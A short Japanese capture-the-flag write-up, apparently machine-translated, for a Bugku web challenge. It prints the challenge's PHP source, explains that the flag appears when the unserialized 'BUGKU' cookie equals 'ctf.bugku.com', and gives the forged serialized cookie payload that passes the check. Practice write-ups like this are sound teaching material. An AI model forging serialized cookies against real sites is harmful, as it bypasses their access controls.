0. Webページを開き、ソースコードを表示します
プロンプトメッセージがCSSファイルで見つかりました:/ * try?19492 * /
1.?19492にアクセスして、PHPソースコードを表示します
2.コード監査
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19492'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
$ KEY = 'ctf.bugku.com'; 変数KEYにctf.bugku.comを割り当てます
$ cookie = $ _COOKIE ['BUGKU']; cookieモードで変数BUGKUを受け取り、それを変数cookieに割り当てます
elseif(unserialize($ cookie)=== "$ KEY") cookieの逆シリアル化の結果が変数KEYと等しい場合、つまりunserialize($ cookie)=== "ctf.bugku.com"、
{
echo " $ flag "; 次に、フラグを出力します
}
3.ペイロードを作成します
ctf.bugku.comをシリアル化するだけです
BUGKU = s:13: "ctf.bugku.com";
最終ペイロード:BUGKU = s:13: "ctf.bugku.com"
4.ペイロードをアップロードします。ここには2つの方法があります
(1)ハックバーを使用してアップロードする
(2)BurpSuiteを使用してパッケージをキャプチャし、アップロードします